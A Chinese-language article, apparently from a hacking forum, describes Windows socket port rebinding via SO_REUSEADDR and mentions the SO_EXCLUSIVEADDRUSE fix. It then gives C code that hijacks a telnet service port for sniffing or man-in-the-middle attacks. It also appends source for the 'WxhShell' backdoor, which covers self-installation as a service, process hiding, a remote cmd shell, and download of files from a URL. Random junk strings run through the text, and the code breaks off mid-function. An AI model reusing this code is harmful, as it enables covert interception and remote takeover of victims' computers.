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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W% YJ.%I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f h)Cz) );kO27dg saddr.sin_family = AF_INET; aG%KiJ7KEN qy`@\)S/5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ih ;6(5z `ihlKFX bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u&I?LZ-=, TKx.`Cf
m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7ib~04 _SY<(2s]B 这意味着什么?意味着可以进行如下的攻击: mv/'H^"[_ `4'v)!? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NN\% X3ri" lf4-Ci*X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 05gU~6AF D(Pd?iQIO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MG*#-<OV. ^+F@KXnL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 <K=:_ O"<D0xzF? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0vbn!<: SZpBbX$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pz,kSxe= =<YG0K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2o] V q .>zXz%p #include _VMW-trG #include W2O
=dG` #include LcoJltY{5 #include Om0Z\GP= DWORD WINAPI ClientThread(LPVOID lpParam); @.yp IE\ int main() 'v GrbmK { Y#V`i K WORD wVersionRequested; 4`o_r% DWORD ret; 3!_y@sWx WSADATA wsaData; elG<\[ BOOL val; U ; JZN SOCKADDR_IN saddr; - jfZLO4 SOCKADDR_IN scaddr; n[|&nv6x
int err; 1#qyD3K SOCKET s; D.kLx@Z SOCKET sc; p[4KN(PyK int caddsize; 3 q^3znt HANDLE mt; %E}f7GT4 DWORD tid; 6%sX<)n%] wVersionRequested = MAKEWORD( 2, 2 ); -%E+Yl{v err = WSAStartup( wVersionRequested, &wsaData ); 7<*sP%6bD if ( err != 0 ) { 0UB)FK,9 printf("error!WSAStartup failed!\n"); %"r3{Hs return -1; (TM1(<j }
)o`|t saddr.sin_family = AF_INET; &|'1.^f@;E !f2f
gX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wS-D"\4/ )s5Q4m! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mY*JNx saddr.sin_port = htons(23); _<yGen- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tV%:sk^d { $bI VD printf("error!socket failed!\n"); }xcA`w3u2? return -1; yw `w6Z3K } X`/8fag val = TRUE; w6zB uW //SO_REUSEADDR选项就是可以实现端口重绑定的
wwE`YY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~OD}` { 5tdFd"oo printf("error!setsockopt failed!\n"); VI:
!# return -1; &<2~7?$! } lQj3#!1} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R*VRxQ,h6+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J,Du:|3o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vnwS&;-k~ ,#W>E,UU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pyhC%EZU { L'B=
=# ret=GetLastError(); btoye \rl printf("error!bind failed!\n"); JnQ5r>!>3 return -1; _LU]5$\b } =&jLwy listen(s,2); =Y
Je\745 while(1) h}r .(MVt { .xo#rt9_"= caddsize = sizeof(scaddr); LfOXgn\ //接受连接请求 B*!{LjXV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o9&1Ct if(sc!=INVALID_SOCKET) G`8i{3: { m%hI@' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d#xi_L! if(mt==NULL) _Cn[|E { zO)A_s.6K printf("Thread Creat Failed!\n"); n`gW&5,,z break; )F*;7]f } ~3bH2,{L[ } V<:scLm#OF CloseHandle(mt); wXI6KN- } $L%gQkz_ closesocket(s); t1"-3afe WSACleanup();
cc`+rD5I- return 0; +LFh}-X{_ } NrA?^F DWORD WINAPI ClientThread(LPVOID lpParam) -7{ qTe{ { D32~>J.F SOCKET ss = (SOCKET)lpParam; TK^9!3 SOCKET sc; :'p+Ql~c unsigned char buf[4096]; K,_d/(T4 SOCKADDR_IN saddr; 6/e+=W2 long num; zr#n^?m DWORD val; Iow45R~] DWORD ret; 7bJAOJ'_ //如果是隐藏端口应用的话,可以在此处加一些判断 xh|NmZg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _voU^- saddr.sin_family = AF_INET; 21ng94mC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $bSnbU< saddr.sin_port = htons(23); &(&5ao)5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6WUP#c@{ { L-SWs8 printf("error!socket failed!\n"); {}x{OP return -1; p+6L qk< } {Aq2}sRl{ val = 100; c*R?eLt/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3>O=d> { (.[HE
~ s? ret = GetLastError(); U&x)Q return -1; ^q{=mf` } KlOL5"3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V% -wZL/ { =VXxQ\{ ret = GetLastError(); QxUsdF?p return -1; SA3!a.*c } lO)-QE+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [@K#BFA { leY fF printf("error!socket connect failed!\n"); ";vP77|m7R closesocket(sc); )S~ySiJ<U closesocket(ss); oW7\T!f return -1; &4]~s:F } #i6ZY^+ee while(1) Iq/V[v { M{)7C,' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AE?G+:B //如果是嗅探内容的话,可以再此处进行内容分析和记录 2$S^3$k' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fT$Fv num = recv(ss,buf,4096,0); FH Hi/yh if(num>0) (c3%rM m] send(sc,buf,num,0); m~$S ]Wf else if(num==0) &v}c3wL] break; q2>dPI;3T num = recv(sc,buf,4096,0); ( q8uB if(num>0) R>|)-"b( ` send(ss,buf,num,0); 6,J:sm\ else if(num==0) $<c;xDO&t break; 0xZX%2E } 7R4xJ H closesocket(ss); ~r%>x closesocket(sc); HzuB.B< return 0 ; 83~9Xb=!\ } O\;R
( 9pY`_lxa> -h n~-Sy+ ========================================================== ~]Md*F[4*e RlW7l1h& 下边附上一个代码,,WXhSHELL A~Uqw8n$\ i7 *cpNPO ========================================================== +0&SXhy%y '5V#sq;Z #include "stdafx.h" m`3Mev g#Doed.30= #include <stdio.h> Z#Q)a;RA #include <string.h> xW hi> #include <windows.h> a
d,0*(</ #include <winsock2.h> iD/r8_} #include <winsvc.h> 0qdgt #include <urlmon.h> heF<UMI B%~D`[~? #pragma comment (lib, "Ws2_32.lib") \@%sX24 D #pragma comment (lib, "urlmon.lib") ~-dL #; sPKyg #define MAX_USER 100 // 最大客户端连接数 u=mJI* #define BUF_SOCK 200 // sock buffer Z,x9 { #define KEY_BUFF 255 // 输入 buffer
fa=OeuI 3J{hG(5 #define REBOOT 0 // 重启 ~YYg~6}vV #define SHUTDOWN 1 // 关机 orU++,S4Pm \Gzo^w #define DEF_PORT 5000 // 监听端口 Gb?O-z%8* $IdY(f:.:5 #define REG_LEN 16 // 注册表键长度 $hCPmiI #define SVC_LEN 80 // NT服务名长度
n-%8RV _jhdqON6E // 从dll定义API Vv]81y15Q; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0lyCk} c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W;^bc*a_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pbM"tr_A{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P0/B!8x qUW>qi, // wxhshell配置信息 Xy;!Q`h( struct WSCFG { Z
T5p int ws_port; // 监听端口 6Eu&%` char ws_passstr[REG_LEN]; // 口令 @Z50S 8 int ws_autoins; // 安装标记, 1=yes 0=no Gkfc@[Z V char ws_regname[REG_LEN]; // 注册表键名 .W9/*cZV0 char ws_svcname[REG_LEN]; // 服务名 cdH Ug# char ws_svcdisp[SVC_LEN]; // 服务显示名 `6t3D&.u0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 1|PmZPKq9n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #h#Bcv0 Z int ws_downexe; // 下载执行标记, 1=yes 0=no .F*2]xj@" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;~Em,M"o char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8G SO] R guD?~-Q }; lQ}e"#< &dC #nw // default Wxhshell configuration @3UVl^T struct WSCFG wscfg={DEF_PORT, =XT'D@q~W "xuhuanlingzhe", wu2AhMGmw 1, h/CF^0m"! "Wxhshell", 0 CJ4]mYl "Wxhshell", ji &*0GJQ "WxhShell Service", )kE(%q:*P$ "Wrsky Windows CmdShell Service", #=MQE "Please Input Your Password: ", /@*J\0h(- 1, O>![IH(L " http://www.wrsky.com/wxhshell.exe", M~G1ZB "Wxhshell.exe" kZlRS^6 }; i>M*ubWE4@ :EUV#5V. // 消息定义模块 .%@=,+nqz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oc2aE:>X char *msg_ws_prompt="\n\r? for help\n\r#>"; x%;Q
/7&$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; UJ0Dy` f char *msg_ws_ext="\n\rExit."; Qbc62 qFu! char *msg_ws_end="\n\rQuit."; L-ZJ[#D char *msg_ws_boot="\n\rReboot..."; zn4Yo char *msg_ws_poff="\n\rShutdown..."; t?-7Z6 char *msg_ws_down="\n\rSave to "; j=^b'dyL J6!t"eB+ char *msg_ws_err="\n\rErr!"; ;,z^!bD char *msg_ws_ok="\n\rOK!"; x+O}R D*G @'EP$!c char ExeFile[MAX_PATH]; LRhq%7p7 int nUser = 0; Xcq9*!%o HANDLE handles[MAX_USER]; qdn\8Pn int OsIsNt; 1m/=MET] by {G{M`X SERVICE_STATUS serviceStatus; ,{C(<1 SERVICE_STATUS_HANDLE hServiceStatusHandle; GXEOgf#i 35Jno<TP' // 函数声明 AJ;Y Nb int Install(void); Y[Gw<1F_ int Uninstall(void); RRD\V3C84 int DownloadFile(char *sURL, SOCKET wsh); ^"w.v' sL int Boot(int flag); NLJD}{8Ot void HideProc(void); n7vLw7 int GetOsVer(void);
/D[GXX int Wxhshell(SOCKET wsl); 7p?6j)rj void TalkWithClient(void *cs); Y/t:9Aau int CmdShell(SOCKET sock); k3m|I*_\L int StartFromService(void); p6V`b'*> int StartWxhshell(LPSTR lpCmdLine); ? OBe!NDf s0Ii;7fA{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z`xz |:D+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5 TD" iSxxy1R // 数据结构和表定义 5eC5oX> SERVICE_TABLE_ENTRY DispatchTable[] = g<s[6yA { ,q#^_/? {wscfg.ws_svcname, NTServiceMain}, r'hr'wZ {NULL, NULL} L%a ni}V }; qEE3x>&T] 'uUp1+ // 自我安装 $ 8w
eh3p int Install(void) r0kA47 {
9`^VuC' char svExeFile[MAX_PATH]; =&,zWNz) HKEY key; ) BTJs)E strcpy(svExeFile,ExeFile); ~}4o=O( f?F
i{m // 如果是win9x系统,修改注册表设为自启动 wCBL1[~C if(!OsIsNt) { Ta!.oC[
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n/s!S & RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'N5qX>Ob RegCloseKey(key); | qHWM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P58U8MEG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6!bA~"N RegCloseKey(key); 5vYh~| return 0; 9Pd~ } q) /;|h } X@9_ukdpu } }#<Sq57n else { o^&;
`XOd Eg-b5Z); // 如果是NT以上系统,安装为系统服务 8+gx?pb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4,s: G.g if (schSCManager!=0) 4g\a$7r
{ 1a4QWGpq SC_HANDLE schService = CreateService j\dkv_L ( wc bs-arH schSCManager, ![abDT5![ wscfg.ws_svcname, bdaZ{5^{ wscfg.ws_svcdisp, T,7Y7MzF SERVICE_ALL_ACCESS, !kASEjFz|f SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bvG").8$ SERVICE_AUTO_START, Oku4EJFJ SERVICE_ERROR_NORMAL, .[2MPjg svExeFile, ).oqlA! NULL, aE#ZTc= NULL, mZ/B:)_ NULL, ;xB"D0~,1 NULL, :R_{tQ-WG NULL 6-KC[J^Xo ); ~O1*] if (schService!=0) #(aROTV5a { ` V^#Sb CloseServiceHandle(schService); i $I|JJJ CloseServiceHandle(schSCManager); :-"J)^V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {]D!@87 strcat(svExeFile,wscfg.ws_svcname); x;Gyo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k}lx!Ck RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z7.)[
; RegCloseKey(key); R@VO3zs W return 0; 8!UZ.. } iU%Gvf^?'5 } lh#GD"^(w& CloseServiceHandle(schSCManager); }(o/+H4 } LG<lZ9+y } !%s7I^f* "apv)xdW return 1; Qgx~'9 } TJ;v}HSo =dA T^e## // 自我卸载 (ZEVbAY?i int Uninstall(void) |%RFXkHS { GU[Cq=k HKEY key; `=KrV#/758 zi-+@9T if(!OsIsNt) { .9^;? Ts if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q!ZmF1sU RegDeleteValue(key,wscfg.ws_regname); bR8)s{p6 RegCloseKey(key); so8-e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]@8=e'V RegDeleteValue(key,wscfg.ws_regname); vy#c(:UQR RegCloseKey(key); ~IqT> return 0; [ThzLk#m } hT]p8m
aRZ } u?J(l)gd } 7>~iS@7GV else { )xK!i. (gmB$pwS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C {,d4KG if (schSCManager!=0) 0Gs]>B4r/ { PA=BNKlH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *AA1e}R{B if (schService!=0) Grub1=6l { 0iB1_)~ if(DeleteService(schService)!=0) { dog,vUu CloseServiceHandle(schService); 6\Z^L1973 CloseServiceHandle(schSCManager); <'B^z0I, return 0; @t^2/H
?O } o{hKt? CloseServiceHandle(schService); b7,qzh } PaZYs~EO
CloseServiceHandle(schSCManager); ie,{C } 2X]\:<[4 } zKutx6=aj 19vD(KC< return 1; Zk[#BUA } h`Mf;'P ?l (hS\N, // 从指定url下载文件 hJ@nW5CI int DownloadFile(char *sURL, SOCKET wsh) '8JaD6W9S { Ll`apKr HRESULT hr; W{h7+X]Y char seps[]= "/"; ~h/U ;Da char *token; @e7+d@O< char *file; 72 6y/o char myURL[MAX_PATH]; %Fv)$ :b char myFILE[MAX_PATH]; E$wB bm '$zFGq
}} strcpy(myURL,sURL); S!]}}fKEFm token=strtok(myURL,seps); J\*d4I<(Rt while(token!=NULL) tFQFpbI { ]VME`]t` file=token; 34=0.{qn token=strtok(NULL,seps); 4l*&3Ar } X@)lPr$a K0\WN"ua; GetCurrentDirectory(MAX_PATH,myFILE); cjXwOk1:s strcat(myFILE, "\\"); UPYM~c+} strcat(myFILE, file); OOCeZ3yF( send(wsh,myFILE,strlen(myFILE),0); 9 ?8`"v send(wsh,"...",3,0); "ir*;| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n3N"Ax if(hr==S_OK) /HRaX!|E# return 0; )R4<*
/C:w else wO#+8js return 1; l_c?q"X g$b*# } Pa}vmn1$ sfa'\6=O // 系统电源模块 w^gh&E int Boot(int flag) z"3c+?2 { {76! HANDLE hToken; eW0=m:6 TOKEN_PRIVILEGES tkp; S2)S/ nf jGn^<T\ if(OsIsNt) { j,XKu5w)Oi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .a*$WGb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Be+:-t) tkp.PrivilegeCount = 1; Kcl$|T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pC-OZ0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %S.U`(. if(flag==REBOOT) { ~-d.3A$u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R6;>RRU_ return 0; Q8?D}h } 1!3kAcBP else { 4Z}{hc\J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !\1 W*6U8; return 0; lIg2iun[n } 9#ft;c } pm\X*t}L else { Wg^cj:&`u if(flag==REBOOT) { L?x?+HPY. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =joXP$n^ return 0;
c^s> } 5#.\pR{Gd else { RFY!o<
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p^P y, return 0; X vMG09 } N?0y<S ?! } RWCS
u$ ;
,jLtl return 1; 8"mW!M } u=o"^ SzX~;pFM0 // win9x进程隐藏模块 1Uk~m void HideProc(void) j#t8Krd] " { Ch"8cl;Fm Wxau]uix HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W'h0Zg if ( hKernel != NULL ) Wx$q:$h@q { ApYud?0b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d`uO7jlm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < iI6@X> FreeLibrary(hKernel); L~y t AZ, } V9u\;5oL u#WTh%/ return; 8`2<g0V2 } heZy
66 )kKmgtj // 获取操作系统版本 kN|5
J int GetOsVer(void) 5}bZs` C { nVn|$ "r OSVERSIONINFO winfo; =yX&p:-& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \UqS -j| GetVersionEx(&winfo); #z!Hb&Qi\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a`b zFu{ return 1; E? eWv)// else bro return 0; br;H8-
} x2;i<
| Ldhk^/+ // 客户端句柄模块 AXP`,H int Wxhshell(SOCKET wsl) DwmU fZp { }"?nU4q;S SOCKET wsh; ,ah*!Zm.kk struct sockaddr_in client; I+"?,Ej$K DWORD myID; \DU^idp# 0vuKGjK while(nUser<MAX_USER) gFs/012{ { !3I(4?G, int nSize=sizeof(client); S1^nC tSF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a,'Ncg if(wsh==INVALID_SOCKET) return 1; U M( l% hzQ+9-qA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3p3WDL7 if(handles[nUser]==0) w;c#drY7S closesocket(wsh); 6b]1d04hT else ;EJPrDHTk nUser++; n{^<&GWox } P}hY{y' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ni!;-,H+E j!x<QNNX return 0; J0Hm)* } s~LZOPN tS (i711 // 关闭 socket }KA-t}8 void CloseIt(SOCKET wsh) 0L:V#y-* { _,_8X7
closesocket(wsh); 4|6&59?pnc nUser--; [A"H/Qztk ExitThread(0); =t3vbV } \5'O.*pr 3w/( /|0 // 客户端请求句柄 $5lW)q A void TalkWithClient(void *cs) ZcMj=#i { Kc%n(,+%" ovd^,?ib SOCKET wsh=(SOCKET)cs; k,,!P"" char pwd[SVC_LEN]; pbDw Lo] char cmd[KEY_BUFF]; ~reQV6oQua char chr[1]; {)B9Z
I{+A int i,j; w"cM<Ewu )=jT_?9b
while (nUser < MAX_USER) { ytjK++(T5 >|a\>UgC if(wscfg.ws_passstr) { uAu( +zV2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J` w]}GlH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eo1&.FQu //ZeroMemory(pwd,KEY_BUFF); \F 3C=M@: i=0; yp=|7 while(i<SVC_LEN) { Dd| "iA \Yj#2ww // 设置超时 96c"I;\GXX fd_set FdRead; [ njx7d struct timeval TimeOut; XtCoX\da FD_ZERO(&FdRead); %_R$K#T^, FD_SET(wsh,&FdRead); *(k%MTG TimeOut.tv_sec=8; EdEoXY-2 TimeOut.tv_usec=0; PzjaCp' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q@w{c= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BwC<rOU |*:tyP%m^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5k69F pwd =chr[0]; RCI4~q if(chr[0]==0xd || chr[0]==0xa) { aH%ZetLNJ pwd=0; E;6~RM: break; {3hqp*xl }
bRNK.[| i++; @]f3|>I } u7HvdLql %y iD~& // 如果是非法用户,关闭 socket |/VL35b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uz 0W <u3v } B&?fM~J H+a~o=/cR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k({2yc#RD& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q( IZJGb :$=|7v while(1) { - %|P *z q .C ZeroMemory(cmd,KEY_BUFF); .eo~?u<j& ^IBGYl5n // 自动支持客户端 telnet标准 M;*$gV<x j=0; 6/| 0+G^ while(j<KEY_BUFF) { ~L bS~_\C= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O#Z/+\U cmd[j]=chr[0]; {LP
b)) if(chr[0]==0xa || chr[0]==0xd) { +'|{1gB cmd[j]=0; RlrZxmPV>O break; \eQla8s } a9=> r j++; OkpwhkPL5 } 4U?<vby !6H uFf // 下载文件 D*\v0=P'? if(strstr(cmd,"http://")) { o~#f1$|Xn send(wsh,msg_ws_down,strlen(msg_ws_down),0); pz7H To;p if(DownloadFile(cmd,wsh)) `FZF2.N send(wsh,msg_ws_err,strlen(msg_ws_err),0); (YwalfG {C else (ss3A9tG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xYI;V7 } 6\4Z\82 else { nL+p~Hi 9_ZBV{
switch(cmd[0]) { >7'+ye6z BX[~%iE // 帮助 wiJRCH case '?': { w2{g,A| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U\jb" break; X&a:g } ZIpD{ >/ // 安装 SO;N~D1Z6 case 'i': { :"QfF@Z{ if(Install()) X*F_<0RC1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); bO3GVc+S else XJgh>^R^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >{5
p0 break; GqLq gns } "uKFOV?j& // 卸载 sN~ \+_ case 'r': { nPFwPk8=M if(Uninstall()) pu9^e4B9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^lj7( else d'"r("w# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j6S"UwJjp break; n2f6p<8A } #.._c?%4/ // 显示 wxhshell 所在路径 :Q_3hK case 'p': { w0w1PE-V= char svExeFile[MAX_PATH]; 6na^]t~ncm strcpy(svExeFile,"\n\r"); m$wlflt strcat(svExeFile,ExeFile); mwC=o5O send(wsh,svExeFile,strlen(svExeFile),0); YoKs:e2/: break; sy/nESZs } &nj&:?w // 重启 G2:%g( case 'b': { a.2L*>p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ik.A1j9oN if(Boot(REBOOT)) ["3\eFg send(wsh,msg_ws_err,strlen(msg_ws_err),0); g}x(hF else { YXW%]Uy+ closesocket(wsh); ^oM|<";!?D ExitThread(0); 0bS|fMgc } IkPN?N break; T,%j\0 } wkUlrL/~ // 关机 NZ0O,}m case 'd': { uXjP`/R| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vBcq_sbo if(Boot(SHUTDOWN)) O%8 EZyu send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;]W T else { d5`3wd]]'v closesocket(wsh); v'!a\b`9 ExitThread(0); iBTYY{-wF } `Ag{) break; s$D ^ >0 } 6!'3oN{ // 获取shell Uu 8,@W+ case 's': { ~*A8+@\R CmdShell(wsh); kE9esC3 closesocket(wsh); ?iI4x%y ExitThread(0); a`[uNgDO break; C?Bl{4-P}* } !$-\;<bZw // 退出 u_(VEfs4 case 'x': { eIRLNxt+v send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J_x13EaV0 CloseIt(wsh); AV9m_hZt break; gL_Y,A~Q{ } VCXJwVb // 离开 ?HF%(>M case 'q': { |7yAX+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); EkgE_8 closesocket(wsh); X/iT)R]b WSACleanup(); 1N7Kv4, exit(1); %?e& WLS break; X.hm s?] } ]gYz
4OT }
d
,4]VE } Zt.'K(]2h 1pArZzm> // 提示信息 GB$;n? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M$Zcn# A } $STaQ28C } q
Y#n'& tmQH|'>> return; sBr_a5QQ# } .zi_[ i_j[?.?X} // shell模块句柄 &*+'>UEe5 int CmdShell(SOCKET sock) q@[QjGj@ { 7=;R& mqC STARTUPINFO si; xai*CY@cQ ZeroMemory(&si,sizeof(si)); |Y?HA& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 19w*!FGX si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,P;Pm68V PROCESS_INFORMATION ProcessInfo; u6AA4( char cmdline[]="cmd"; *MKO
I' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G"h'_7 return 0; #ZB~x6i6 } f|\onHI)> }H^+A77v // 自身启动模式 >CHrg]9 int StartFromService(void) jYk&/@`Ly { hb}+A=A=+ typedef struct \W~N { sB7#
~pA DWORD ExitStatus; N sXHO DWORD PebBaseAddress; 3 2&;`]C DWORD AffinityMask; GPN]9 DWORD BasePriority; AE[b},-[ ULONG UniqueProcessId; \NPmym_6J ULONG InheritedFromUniqueProcessId; fp`;U_-&0 } PROCESS_BASIC_INFORMATION; V<GHpFi0 IxY|>5z PROCNTQSIP NtQueryInformationProcess; T&6l$1J |-:()yxs static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~%<X0s| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H\ F:95 Bs^aI I$ HANDLE hProcess; xF!,IKlBBp PROCESS_BASIC_INFORMATION pbi; m*&]!mM"0G >mwlsL~X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hOjk3
